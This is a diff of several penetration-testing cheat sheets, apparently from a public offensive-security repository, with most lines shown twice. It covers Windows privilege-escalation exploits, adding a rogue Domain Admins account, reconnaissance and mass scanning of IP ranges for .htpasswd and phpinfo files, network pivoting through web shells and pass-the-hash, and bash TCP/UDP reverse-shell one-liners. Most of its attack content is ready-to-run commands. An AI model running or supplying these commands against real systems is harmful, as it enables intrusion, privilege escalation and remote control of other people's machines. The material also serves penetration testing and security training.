### PrivEsc Local Admin - MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64) ### PrivEsc Local Admin - MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)
Check if the patch is installed : `wmic qfe list | find "3139914"` Check if the patch is installed : `wmic qfe list | find "3139914"`
```
```powershell
Powershell: Powershell:
https://www.exploit-db.com/exploits/39719/ https://www.exploit-db.com/exploits/39719/
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1 https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1
@ -382,43 +428,44 @@ Binary exe : https://github.com/Meatballs1/ms16-032
Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
``` ```
### PrivEsc Local Admin - MS17-010 (Eternal Blue) ### PrivEsc Local Admin - MS17-010 (Eternal Blue)
```c ```c
nmap -Pn -p445openmax-hostgroup 3script smb-vuln-ms17010 <ip_netblock> nmap -Pn -p445openmax-hostgroup 3script smb-vuln-ms17010 <ip_netblock>
``` ```
### From Local Admin to Domain Admin ### From Local Admin to Domain Admin
```powershell ```powershell
net user hacker2 hacker123 /add /Domain net user hacker2 hacker123 /add /Domain
net group "Domain Admins" hacker2 /add /domain net group "Domain Admins" hacker2 /add /domain
``` ```
## Documentation / Thanks to ## Documentation / Thanks to
* [https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html](https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html)
* [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher](https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa) * [https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html](https://chryzsh.gitbooks.io/darthsidious/content/compromising-ad.html)
* [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288) * [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher](https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa)
* [Golden ticket - Pentestlab](https://pentestlab.blog/2018/04/09/golden-ticket/) * [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288)
* [Dumping Domain Password Hashes - Pentestlab](https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/) * [Golden ticket - Pentestlab](https://pentestlab.blog/2018/04/09/golden-ticket/)
* [Getting the goods with CrackMapExec: Part 1, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html) * [Dumping Domain Password Hashes - Pentestlab](https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/)
* [Getting the goods with CrackMapExec: Part 2, by byt3bl33d3r ](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-2.html) * [Getting the goods with CrackMapExec: Part 1, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html)
* [Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin](https://hausec.com/2017/10/21/domain-penetration-testing-using-bloodhound-crackmapexec-mimikatz-to-get-domain-admin/) * [Getting the goods with CrackMapExec: Part 2, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-2.html)
* [Pen Testing Active Directory Environments - Part I: Introduction to crackmapexec (and PowerView)](https://blog.varonis.com/pen-testing-active-directory-environments-part-introduction-crackmapexec-powerview/) * [Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin](https://hausec.com/2017/10/21/domain-penetration-testing-using-bloodhound-crackmapexec-mimikatz-to-get-domain-admin/)
* [Pen Testing Active Directory Environments - Part II: Getting Stuff Done With PowerView](https://blog.varonis.com/pen-testing-active-directory-environments-part-ii-getting-stuff-done-with-powerview/) * [Pen Testing Active Directory Environments - Part I: Introduction to crackmapexec (and PowerView)](https://blog.varonis.com/pen-testing-active-directory-environments-part-introduction-crackmapexec-powerview/)
* [Pen Testing Active Directory Environments - Part III: Chasing Power Users](https://blog.varonis.com/pen-testing-active-directory-environments-part-iii-chasing-power-users/) * [Pen Testing Active Directory Environments - Part II: Getting Stuff Done With PowerView](https://blog.varonis.com/pen-testing-active-directory-environments-part-ii-getting-stuff-done-with-powerview/)
* [Pen Testing Active Directory Environments - Part IV: Graph Fun](https://blog.varonis.com/pen-testing-active-directory-environments-part-iv-graph-fun/) * [Pen Testing Active Directory Environments - Part III: Chasing Power Users](https://blog.varonis.com/pen-testing-active-directory-environments-part-iii-chasing-power-users/)
* [Pen Testing Active Directory Environments - Part V: Admins and Graphs](https://blog.varonis.com/pen-testing-active-directory-v-admins-graphs/) * [Pen Testing Active Directory Environments - Part IV: Graph Fun](https://blog.varonis.com/pen-testing-active-directory-environments-part-iv-graph-fun/)
* [Pen Testing Active Directory Environments - Part VI: The Final Case](https://blog.varonis.com/pen-testing-active-directory-part-vi-final-case/) * [Pen Testing Active Directory Environments - Part V: Admins and Graphs](https://blog.varonis.com/pen-testing-active-directory-v-admins-graphs/)
* [Passing the hash with native RDP client (mstsc.exe)](https://michael-eder.net/post/2018/native_rdp_pass_the_hash/) * [Pen Testing Active Directory Environments - Part VI: The Final Case](https://blog.varonis.com/pen-testing-active-directory-part-vi-final-case/)
* [Fun with LDAP, Kerberos (and MSRPC) in AD Environments](https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments) * [Passing the hash with native RDP client (mstsc.exe)](https://michael-eder.net/post/2018/native_rdp_pass_the_hash/)
* [DiskShadow The return of VSS Evasion Persistence and AD DB extraction](https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/) * [Fun with LDAP, Kerberos (and MSRPC) in AD Environments](https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments)
* [How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff](https://bluescreenofjeff.com/2017-05-23-how-to-pass-the-ticket-through-ssh-tunnels/) * [DiskShadow The return of VSS Evasion Persistence and AD DB extraction](https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/)
* [WONKACHALL AKERVA NDH2018 WRITE UP PART 1](https://akerva.com/blog/wonkachall-akerva-ndh-2018-write-up-part-1/) * [How To Pass the Ticket Through SSH Tunnels - bluescreenofjeff](https://bluescreenofjeff.com/2017-05-23-how-to-pass-the-ticket-through-ssh-tunnels/)
* [WONKACHALL AKERVA NDH2018 WRITE UP PART 2](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-2/) * [WONKACHALL AKERVA NDH2018 WRITE UP PART 1](https://akerva.com/blog/wonkachall-akerva-ndh-2018-write-up-part-1/)
* [WONKACHALL AKERVA NDH2018 WRITE UP PART 3](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-3/) * [WONKACHALL AKERVA NDH2018 WRITE UP PART 2](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-2/)
* [WONKACHALL AKERVA NDH2018 WRITE UP PART 4](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-4/) * [WONKACHALL AKERVA NDH2018 WRITE UP PART 3](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-3/)
* [WONKACHALL AKERVA NDH2018 WRITE UP PART 5](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-5/) * [WONKACHALL AKERVA NDH2018 WRITE UP PART 4](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-4/)
* [BlueHat IL - Benjamin Delpy](https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/BenjaminDelpy.pdf) * [WONKACHALL AKERVA NDH2018 WRITE UP PART 5](https://akerva.com/blog/wonkachall-akerva-ndh2018-write-up-part-5/)
* [Quick Guide to Installing Bloodhound in Kali-Rolling - James Smith](https://stealingthe.network/quick-guide-to-installing-bloodhound-in-kali-rolling/) * [BlueHat IL - Benjamin Delpy](https://microsoftrnd.co.il/Press%20Kit/BlueHat%20IL%20Decks/BenjaminDelpy.pdf)
* [Using bloodhound to map the user network - Hausec](https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/) * [Quick Guide to Installing Bloodhound in Kali-Rolling - James Smith](https://stealingthe.network/quick-guide-to-installing-bloodhound-in-kali-rolling/)
* [Using bloodhound to map the user network - Hausec](https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/)

View File

@ -1,50 +1,59 @@
# Bug Hunting Methodology and Enumeration # Bug Hunting Methodology and Enumeration
![exploitation](https://img.shields.io/badge/WIP-70%25-green.svg)
**Summary** ## Summary
1. [Enumerate all subdomains](#enumerate-all-subdomains-only-if-the-scope-is-domainext)
* Subbrute
* KnockPy
* GoogleDorks
* EyeWitness
* Sublist3r
* Aquatone
2. [Passive Recon](#passive-recon)
* Shodan
* Wayback Machine
* The Harvester
3. [Active Recon](#active-recon)
* Nmap
* Nmap Script
* RPCClient
* Enum4all
4. [List all the subdirectories and files](#list-all-the-subdirectories-and-files)
* Gobuster
* Backup File Artifacts Checker
5. [Web Vulnerabilities](#looking-for-web-vulnerabilities)
* Repository Github
* Burp
* Web Checklist
* Nikto
* Payment functionality
* [Enumerate all subdomains](#enumerate-all-subdomains-only-if-the-scope-is-domainext)
* Subbrute
* KnockPy
* GoogleDorks
* EyeWitness
* Sublist3r
* Aquatone
* [Passive Recon](#passive-recon)
* Shodan
* Wayback Machine
* The Harvester
* [Active Recon](#active-recon)
* Nmap
* Nmap Script
* RPCClient
* Enum4all
* [List all the subdirectories and files](#list-all-the-subdirectories-and-files)
* Gobuster
* Backup File Artifacts Checker
* [Web Vulnerabilities](#looking-for-web-vulnerabilities)
* Repository Github
* Burp
* Web Checklist
* Nikto
* Payment functionality
## Enumerate all subdomains (only if the scope is *.domain.ext) ## Enumerate all subdomains (only if the scope is *.domain.ext)
* Using Subbrute ### Using Subbrute
```bash ```bash
git clone https://github.com/TheRook/subbrute git clone https://github.com/TheRook/subbrute
python subbrute.py domain.example.com python subbrute.py domain.example.com
``` ```
* Using KnockPy with Daniel Miesslers SecLists for subdomain "/Discover/DNS" ### Using KnockPy with Daniel Miesslers SecLists for subdomain "/Discover/DNS"
```bash ```bash
git clone https://github.com/guelfoweb/knock git clone https://github.com/guelfoweb/knock
git clone https://github.com/danielmiessler/SecLists.git git clone https://github.com/danielmiessler/SecLists.git
knockpy domain.com -w subdomains-top1mil-110000.txt knockpy domain.com -w subdomains-top1mil-110000.txt
``` ```
* Using Google Dorks and Google Transparency Report ### Using Google Dorks and Google Transparency Report
You need to include subdomains ;)
https://www.google.com/transparencyreport/https/ct/?hl=en-US#domain=[DOMAIN]g&incl_exp=true&incl_sub=true
```bash ```bash
site:*.domain.com -www site:*.domain.com -www
site:domain.com filetype:pdf site:domain.com filetype:pdf
@ -52,19 +61,18 @@ site:domain.com inurl:'&'
site:domain.com inurl:login,register,upload,logout,redirect,redir,goto,admin site:domain.com inurl:login,register,upload,logout,redirect,redir,goto,admin
site:domain.com ext:php,asp,aspx,jsp,jspa,txt,swf site:domain.com ext:php,asp,aspx,jsp,jspa,txt,swf
site:*.*.domain.com site:*.*.domain.com
You need to include subdomains ;)
https://www.google.com/transparencyreport/https/ct/?hl=en-US#domain=[DOMAIN]g&incl_exp=true&incl_sub=true
``` ```
* Subdomain take over using HostileSubBruteForcer ### Subdomain take over using HostileSubBruteForcer
```bash ```bash
git clone https://github.com/nahamsec/HostileSubBruteforcer git clone https://github.com/nahamsec/HostileSubBruteforcer
chmox +x sub_brute.rb chmox +x sub_brute.rb
./sub_brute.rb ./sub_brute.rb
``` ```
* EyeWitness and Nmap scans from the KnockPy and enumall scans ### EyeWitness and Nmap scans from the KnockPy and enumall scans
```bash ```bash
git clone https://github.com/ChrisTruncer/EyeWitness.git git clone https://github.com/ChrisTruncer/EyeWitness.git
./setup/setup.sh ./setup/setup.sh
@ -74,7 +82,8 @@ git clone https://github.com/ChrisTruncer/EyeWitness.git
./EyeWitness -f rdp.txt --rdp ./EyeWitness -f rdp.txt --rdp
``` ```
* Using Sublist3r ### Using Sublist3r
```bash ```bash
To enumerate subdomains of specific domain and show the results in realtime: To enumerate subdomains of specific domain and show the results in realtime:
python sublist3r.py -v -d example.com python sublist3r.py -v -d example.com
@ -88,8 +97,9 @@ python sublist3r.py -e google,yahoo,virustotal -d example.com
python sublist3r.py -b -d example.com python sublist3r.py -b -d example.com
``` ```
* Using Aquatone ### Using Aquatone
```
```powershell
gem install aquatone gem install aquatone
Discover subdomains : results in ~/aquatone/example.com/hosts.txt Discover subdomains : results in ~/aquatone/example.com/hosts.txt
@ -108,28 +118,31 @@ Final results
aquatone-gather --domain example.com aquatone-gather --domain example.com
``` ```
## Passive recon ## Passive recon
* Using Shodan (https://www.shodan.io/) to detect similar app * Using Shodan (https://www.shodan.io/) to detect similar app
```
```bash
can be integrated with nmap (https://github.com/glennzw/shodan-hq-nse) can be integrated with nmap (https://github.com/glennzw/shodan-hq-nse)
nmap --script shodan-hq.nse --script-args 'apikey=<yourShodanAPIKey>,target=<hackme>' nmap --script shodan-hq.nse --script-args 'apikey=<yourShodanAPIKey>,target=<hackme>'
``` ```
* Using The Wayback Machine (https://archive.org/web/) to detect forgotten endpoints, * Using The Wayback Machine (https://archive.org/web/) to detect forgotten endpoints
```
```bash
look for JS files, old links look for JS files, old links
``` ```
* Using The Harvester (https://github.com/laramies/theHarvester) * Using The Harvester (https://github.com/laramies/theHarvester)
```
```python
python theHarvester.py -b all -d domain.com python theHarvester.py -b all -d domain.com
``` ```
## Active recon ## Active recon
* Basic NMAP * Basic NMAP
```bash ```bash
sudo nmap -sSV -p- 192.168.0.1 -oA OUTPUTFILE -T4 sudo nmap -sSV -p- 192.168.0.1 -oA OUTPUTFILE -T4
sudo nmap -sSV -oA OUTPUTFILE -T4 -iL INPUTFILE.csv sudo nmap -sSV -oA OUTPUTFILE -T4 -iL INPUTFILE.csv
@ -143,6 +156,7 @@ aquatone-gather --domain example.com
* CTF NMAP * CTF NMAP
This configuration is enough to do a basic check for a CTF VM This configuration is enough to do a basic check for a CTF VM
```bash ```bash
nmap -sV -sC -oA ~/nmap-initial 192.168.1.1 nmap -sV -sC -oA ~/nmap-initial 192.168.1.1
@ -153,8 +167,8 @@ aquatone-gather --domain example.com
After this quick command you can add "-p-" to run a full scan while you work with the previous result After this quick command you can add "-p-" to run a full scan while you work with the previous result
``` ```
* Aggressive NMAP * Aggressive NMAP
```bash ```bash
nmap -A -T4 scanme.nmap.org nmap -A -T4 scanme.nmap.org
• -A: Enable OS detection, version detection, script scanning, and traceroute • -A: Enable OS detection, version detection, script scanning, and traceroute
@ -162,17 +176,20 @@ aquatone-gather --domain example.com
``` ```
* NMAP and add-ons * NMAP and add-ons
1. Using searchsploit to detect vulnerable services * Using searchsploit to detect vulnerable services
```bash
nmap -p- -sV -oX a.xml IP_ADDRESS; searchsploit --nmap a.xml ```bash
``` nmap -p- -sV -oX a.xml IP_ADDRESS; searchsploit --nmap a.xml
2. Generating nice scan report ```
```bash
nmap -sV IP_ADDRESS -oX scan.xml && xsltproc scan.xml -o "`date +%m%d%y`_report.html"
```
* Generating nice scan report
```bash
nmap -sV IP_ADDRESS -oX scan.xml && xsltproc scan.xml -o "`date +%m%d%y`_report.html"
```
* NMAP Scripts * NMAP Scripts
```bash ```bash
nmap -sC : equivalent to --script=default nmap -sC : equivalent to --script=default
@ -202,21 +219,24 @@ aquatone-gather --domain example.com
``` ```
* RPCClient * RPCClient
```bash ```bash
╰─$ rpcclient -U "" [target host] ╰─$ rpcclient -U "" [target host]
rpcclient $> querydominfo rpcclient $> querydominfo
Domain: WORKGROUP Domain: WORKGROUP
Server: METASPLOITABLE Server: METASPLOITABLE
Comment: metasploitable server (Samba 3.0.20-Debian) Comment: metasploitable server (Samba 3.0.20-Debian)
Total Users: 35 Total Users: 35
rpcclient $> enumdomusers rpcclient $> enumdomusers
user:[games] rid:[0x3f2] user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5] user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba] user:[bind] rid:[0x4ba]
``` ```
* Enum4all * Enum4all
```
```bash
Usage: ./enum4linux.pl [options]ip Usage: ./enum4linux.pl [options]ip
-U get userlist -U get userlist
-M get machine list* -M get machine list*
@ -232,102 +252,89 @@ aquatone-gather --domain example.com
============================== ==============================
| Users on XXX.XXX.XXX.XXX | | Users on XXX.XXX.XXX.XXX |
============================== ==============================
index: 0x1 Account: games Name: games Desc: (null) index: 0x1 Account: games Name: games Desc: (null)
index: 0x2 Account: nobody Name: nobody Desc: (null) index: 0x2 Account: nobody Name: nobody Desc: (null)
index: 0x3 Account: bind Name: (null) Desc: (null) index: 0x3 Account: bind Name: (null) Desc: (null)
index: 0x4 Account: proxy Name: proxy Desc: (null) index: 0x4 Account: proxy Name: proxy Desc: (null)
index: 0x5 Account: syslog Name: (null) Desc: (null) index: 0x5 Account: syslog Name: (null) Desc: (null)
index: 0x6 Account: user Name: just a user,111,, Desc: (null) index: 0x6 Account: user Name: just a user,111,, Desc: (null)
index: 0x7 Account: www-data Name: www-data Desc: (null) index: 0x7 Account: www-data Name: www-data Desc: (null)
index: 0x8 Account: root Name: root Desc: (null) index: 0x8 Account: root Name: root Desc: (null)
``` ```
## List all the subdirectories and files ## List all the subdirectories and files
* Using BFAC (Backup File Artifacts Checker): An automated tool that checks for backup artifacts that may disclose the web-application's source code. * Using BFAC (Backup File Artifacts Checker): An automated tool that checks for backup artifacts that may disclose the web-application's source code.
```bash
git clone https://github.com/mazen160/bfac
Check a single URL ```bash
bfac --url http://example.com/test.php --level 4 git clone https://github.com/mazen160/bfac
Check a list of URLs Check a single URL
bfac --list testing_list.txt bfac --url http://example.com/test.php --level 4
```
Check a list of URLs
bfac --list testing_list.txt
```
* Using DirBuster or GoBuster * Using DirBuster or GoBuster
```bash
./gobuster -u http://buffered.io/ -w words.txt -t 10
-u url
-w wordlist
-t threads
More subdomain : ```bash
./gobuster -m dns -w subdomains.txt -u google.com -i ./gobuster -u http://buffered.io/ -w words.txt -t 10
-u url
-w wordlist
-t threads
gobuster -w wordlist -u URL -r -e More subdomain :
``` ./gobuster -m dns -w subdomains.txt -u google.com -i
gobuster -w wordlist -u URL -r -e
```
* Using a script to detect all phpinfo.php files in a range of IPs (CIDR can be found with a whois) * Using a script to detect all phpinfo.php files in a range of IPs (CIDR can be found with a whois)
```bash
#!/bin/bash ```bash
for ipa in 98.13{6..9}.{0..255}.{0..255}; do #!/bin/bash
wget -t 1 -T 3 http://${ipa}/phpinfo.php; done & for ipa in 98.13{6..9}.{0..255}.{0..255}; do
``` wget -t 1 -T 3 http://${ipa}/phpinfo.php; done &
```
* Using a script to detect all .htpasswd files in a range of IPs * Using a script to detect all .htpasswd files in a range of IPs
```bash
#!/bin/bash ```bash
for ipa in 98.13{6..9}.{0..255}.{0..255}; do #!/bin/bash
wget -t 1 -T 3 http://${ipa}/.htpasswd; done & for ipa in 98.13{6..9}.{0..255}.{0..255}; do
``` wget -t 1 -T 3 http://${ipa}/.htpasswd; done &
```
## Looking for Web vulnerabilities ## Looking for Web vulnerabilities
* Look for private information in GitHub repos with GitRob * Look for private information in GitHub repos with GitRob
```
git clone https://github.com/michenriksen/gitrob.git ```bash
gitrob analyze johndoe --site=https://github.acme.com --endpoint=https://github.acme.com/api/v3 --access-tokens=token1,token2 git clone https://github.com/michenriksen/gitrob.git
``` gitrob analyze johndoe --site=https://github.acme.com --endpoint=https://github.acme.com/api/v3 --access-tokens=token1,token2
```
* Explore the website with a proxy (ZAP/Burp Suite) * Explore the website with a proxy (ZAP/Burp Suite)
1. Start proxy, visit the main target site and perform a Forced Browse to discover files and directories 1. Start proxy, visit the main target site and perform a Forced Browse to discover files and directories
2. Map technologies used with Wappalyzer and Burp Suite (or ZAP) proxy 2. Map technologies used with Wappalyzer and Burp Suite (or ZAP) proxy
3. Explore and understand available functionality, noting areas that correspond to vulnerability types 3. Explore and understand available functionality, noting areas that correspond to vulnerability types
```bash
Burp Proxy configuration on port 8080 (in .bashrc):
alias set_proxy_burp='gsettings set org.gnome.system.proxy.http host "http://localhost";gsettings set org.gnome.system.proxy.http port 8080;gsettings set org.gnome.system.proxy mode "manual"'
alias set_proxy_normal='gsettings set org.gnome.system.proxy mode "none"'
then launch Burp with : java -jar burpsuite_free_v*.jar & ```bash
``` Burp Proxy configuration on port 8080 (in .bashrc):
alias set_proxy_burp='gsettings set org.gnome.system.proxy.http host "http://localhost";gsettings set org.gnome.system.proxy.http port 8080;gsettings set org.gnome.system.proxy mode "manual"'
alias set_proxy_normal='gsettings set org.gnome.system.proxy mode "none"'
* Checklist for Web vulns then launch Burp with : java -jar burpsuite_free_v*.jar &
``` ```
[] AWS Amazon Bucket S3
[] Git Svn insecure files * [Checklist for Web vulns](http://mdsec.net/wahh/tasks.html)
[] CVE Shellshock Heartbleed
[] Open redirect
[] Traversal directory
[] XSS injection
[] CRLF injection
[] CSRF injection
[] SQL injection
[] NoSQL injection
[] PHP include
[] Upload insecure files
[] SSRF injection
[] XXE injections
[] CSV injection
[] PHP serialization
...
```
* Subscribe to the site and pay for the additional functionality to test * Subscribe to the site and pay for the additional functionality to test
* Launch a Nikto scan in case you missed something * Launch a Nikto scan in case you missed something
```
```powershell
nikto -h http://domain.example.com nikto -h http://domain.example.com
``` ```
@ -355,7 +362,7 @@ International test card numbers and tokens
| 4000002460000001 | tok_fi | Finland (FI) | Visa | | 4000002460000001 | tok_fi | Finland (FI) | Visa |
| 4000002500000003 | tok_fr | France (FR) | Visa | | 4000002500000003 | tok_fr | France (FR) | Visa |
## Thanks to ## Thanks to
* http://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/
* [Nmap CheatSheet - HackerTarget](https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/) * [[BugBounty] Yahoo phpinfo.php disclosure - Patrik Fehrenbach](http://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/)
* [Nmap CheatSheet - HackerTarget](https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/)

View File

@ -1,20 +1,22 @@
# Network Pivoting Techniques # Network Pivoting Techniques
## Windows netsh Port Forwarding ## Windows netsh Port Forwarding
```powershell ```powershell
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110 netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110
``` ```
1. listenaddress is a local IP address waiting for a connection. 1. listenaddress is a local IP address waiting for a connection.
2. listenport local listening TCP port (the connection is waited on it). 2. listenport local listening TCP port (the connection is waited on it).
3. connectaddress is a local or remote IP address (or DNS name) to which the incoming connection will be redirected. 3. connectaddress is a local or remote IP address (or DNS name) to which the incoming connection will be redirected.
4. connectport is a TCP port to which the connection from listenport is forwarded to. 4. connectport is a TCP port to which the connection from listenport is forwarded to.
## SSH ## SSH
### SOCKS Proxy ### SOCKS Proxy
```bash ```bash
ssh -D8080 [user]@[host] ssh -D8080 [user]@[host]
@ -24,64 +26,75 @@ ssh -N -f -D 9000 [user]@[host]
``` ```
### Local Port Forwarding ### Local Port Forwarding
```bash ```bash
ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host] ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]
``` ```
### Remote Port Forwarding ### Remote Port Forwarding
```bash ```bash
ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host] ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]
``` ```
## Proxychains ## Proxychains
**Config file**: /etc/proxychains.conf **Config file**: /etc/proxychains.conf
```bash ```bash
[ProxyList] [ProxyList]
socks4 localhost 8080 socks4 localhost 8080
``` ```
Set the SOCKS4 proxy then `proxychains nmap 192.168.5.6` Set the SOCKS4 proxy then `proxychains nmap 192.168.5.6`
## Web SOCKS - reGeorg ## Web SOCKS - reGeorg
```
[reGeorg](https://github.com/sensepost/reGeorg), the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.
```python
python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp
``` ```
## Rpivot ## Rpivot
Server (Attacker box) Server (Attacker box)
```python ```python
python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0 python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0
``` ```
Client (Compromised box) Client (Compromised box)
```python ```python
python client.py --server-ip <ip> --server-port 9443 python client.py --server-ip <ip> --server-port 9443
``` ```
Through corporate proxy Through corporate proxy
```python ```python
python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \ python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3e --ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3e
``` ```
Passing the hash Passing the hash
```python ```python
python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \ python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe \ --ntlm-proxy-port 8080 --domain CORP --username jdoe \
--hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE --hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE
``` ```
## Basic Pivoting Types ## Basic Pivoting Types
| Type | Use Case | | Type | Use Case |
| :------------- | :------------------------------------------ | | :------------- | :------------------------------------------ |
| Listen - Listen | Exposed asset, may not want to connect out. | | Listen - Listen | Exposed asset, may not want to connect out. |
| Listen - Connect | Normal redirect. | | Listen - Connect | Normal redirect. |
| Connect - Connect | Cant bind, so connect to bridge two hosts | | Connect - Connect | Cant bind, so connect to bridge two hosts |
## Listen - Listen ## Listen - Listen
| Type | Use Case | | Type | Use Case |
| :------------- | :------------------------------------------ | | :------------- | :------------------------------------------ |
| ncat | `ncat -v -l -p 8080 -c "ncat -v -l -p 9090"`| | ncat | `ncat -v -l -p 8080 -c "ncat -v -l -p 9090"`|
@ -89,8 +102,8 @@ python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [pro
| remote host 1 | `ncat localhost 8080 < file` | | remote host 1 | `ncat localhost 8080 < file` |
| remote host 2 | `ncat localhost 9090 > newfile` | | remote host 2 | `ncat localhost 9090 > newfile` |
## Listen - Connect ## Listen - Connect
| Type | Use Case | | Type | Use Case |
| :------------- | :------------------------------------------ | | :------------- | :------------------------------------------ |
| ncat | `ncat -l -v -p 8080 -c "ncat localhost 9090"` | | ncat | `ncat -l -v -p 8080 -c "ncat localhost 9090"` |
@ -98,8 +111,8 @@ python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [pro
| remote host 1 | `ncat localhost -p 8080 < file` | | remote host 1 | `ncat localhost -p 8080 < file` |
| remote host 2 | `ncat -l -p 9090 > newfile` | | remote host 2 | `ncat -l -p 9090 > newfile` |
## Connect - Connect ## Connect - Connect
| Type | Use Case | | Type | Use Case |
| :------------- | :------------------------------------------ | | :------------- | :------------------------------------------ |
| ncat | `ncat localhost 8080 -c "ncat localhost 9090"` | | ncat | `ncat localhost 8080 -c "ncat localhost 9090"` |
@ -107,7 +120,7 @@ python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [pro
| remote host 1 | `ncat -l -p 8080 < file | | remote host 1 | `ncat -l -p 8080 < file |
| remote host 2 | `ncat -l -p 9090 > newfile` | | remote host 2 | `ncat -l -p 9090 > newfile` |
## Thanks to ## Thanks to
* [Network Pivoting Techniques - Bit rot](https://bitrot.sh/cheatsheet/14-12-2017-pivoting/)
* [Port Forwarding in Windows - Windows OS Hub](http://woshub.com/port-forwarding-in-windows/) * [Network Pivoting Techniques - Bit rot](https://bitrot.sh/cheatsheet/14-12-2017-pivoting/)
* [Port Forwarding in Windows - Windows OS Hub](http://woshub.com/port-forwarding-in-windows/)

View File

@ -3,6 +3,7 @@
## Reverse Shell Cheat Sheet ## Reverse Shell Cheat Sheet
### Bash TCP ### Bash TCP
```bash ```bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
@ -10,7 +11,8 @@ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
``` ```
### Bash UDP ### Bash UDP
```
```bash
Victim: Victim:
sh -i >& /dev/udp/127.0.0.1/4242 0>&1 sh -i >& /dev/udp/127.0.0.1/4242 0>&1
@ -18,8 +20,8 @@ Listener:
nc -u -lvp 4242 nc -u -lvp 4242
``` ```
### Perl ### Perl
```perl ```perl
